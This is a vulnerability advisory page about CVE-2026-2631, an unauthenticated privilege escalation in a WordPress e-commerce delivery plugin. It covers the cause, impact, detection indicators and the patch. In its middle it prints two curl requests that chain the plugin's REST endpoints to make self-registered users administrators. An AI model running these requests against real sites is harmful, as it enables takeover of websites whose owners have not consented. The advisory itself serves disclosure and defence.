
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-2631 is an unauthenticated privilege escalation vulnerability in the Datalogics Ecommerce Delivery WordPress plugin affecting all versions before 2.6.60. The flaw allows any remote, unauthenticated attacker to gain full administrative control over a WordPress installation by abusing an exposed REST endpoint. It was publicly disclosed on February 18, 2026, and assigned a CVSS v3.1 base score of 9.8 (Critical) (WPScan, NVD). The vulnerability was discovered and reported by researcher Khaled Alenazi (Nxploited) (WPScan).
The root cause is improper privilege management (CWE-269) in the plugin's REST API implementation. The plugin exposes an unauthenticated REST endpoint at /index.php?rest_route=/datalogics-0/v1/update-token that allows any remote user to set the datalogics_token WordPress option to an arbitrary value without any authentication or authorization check. This attacker-controlled token is then accepted as valid authentication by a second, nominally protected endpoint (/datalogics-0/v1/update-settings), which permits arbitrary update_option() calls. By chaining these two requests, an attacker can enable open user registration (users_can_register=1) and set the default role to administrator, effectively granting themselves full admin access upon self-registration (WPScan).
Successful exploitation grants an unauthenticated remote attacker complete administrative control of the affected WordPress site without any user interaction. With administrator-level access, an attacker can modify site content, install malicious plugins or themes, access sensitive user data, exfiltrate credentials, and potentially pivot to compromise the underlying server infrastructure. The integrity, confidentiality, and availability of the entire WordPress installation are fully compromised (WPScan, NVD).
A public proof-of-concept (PoC) exploit was published by the original researcher Khaled Alenazi on GitHub (GitHub PoC) and was noted in community reporting by late March 2026. A mass scanner tool targeting this CVE was also published (Mass Scanner), and the exploit was indexed on Sploitus (PacketStorm:218136), indicating active weaponization. The EPSS score is approximately 0.209%, and there is no current listing in the CISA KEV catalog. No specific threat actor attribution has been reported, but the availability of mass-scanning tools suggests opportunistic exploitation is likely (Feedly, WPScan).
datalogics_token option with an attacker-controlled value:curl -X POST "http://example.com/index.php?rest_route=/datalogics-0/v1/update-token" \
-H "Content-Type: application/json" \
-d '{"token":"NXPOC-2026"}'curl -X POST "http://example.com/index.php?rest_route=/datalogics-0/v1/update-settings" \
-H "Content-Type: application/json" \
-d '{ "token":"NXPOC-2026", "settings":{ "users_can_register":"1", "default_role":"administrator" } }'/wp-login.php?action=register) and create a new account, which will automatically be assigned the Administrator role./index.php?rest_route=/datalogics-0/v1/update-token and /index.php?rest_route=/datalogics-0/v1/update-settings from external IP addresses in web server access logs.datalogics-0/v1/ endpoints from unauthenticated sources; sudden changes to users_can_register and default_role options in the WordPress options table (wp_options).datalogics_token option in wp_options set to an unexpected or unknown value; users_can_register set to 1 and default_role set to administrator without administrator action.The vendor has released a patched version: Datalogics Ecommerce Delivery 2.6.60. All site operators should upgrade to this version immediately (WPScan). If immediate patching is not possible, consider temporarily deactivating the plugin, restricting access to the REST API endpoints via a web application firewall (WAF) or network-level controls, and auditing the WordPress wp_options table for unexpected changes to users_can_register, default_role, and datalogics_token. Additionally, review all administrator accounts for unauthorized additions and revoke any suspicious accounts.
Wordfence included CVE-2026-2631 in their weekly WordPress vulnerability report for the week of March 9–15, 2026, highlighting it as a critical unauthenticated privilege escalation issue (Wordfence). The vulnerability was discussed on social media platforms including Mastodon and Bluesky shortly after disclosure. BrinzTech published an alert specifically noting the availability of a public PoC (BrinzTech), and the exploit was featured in a PoC weekly roundup for the week of March 23, 2026.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."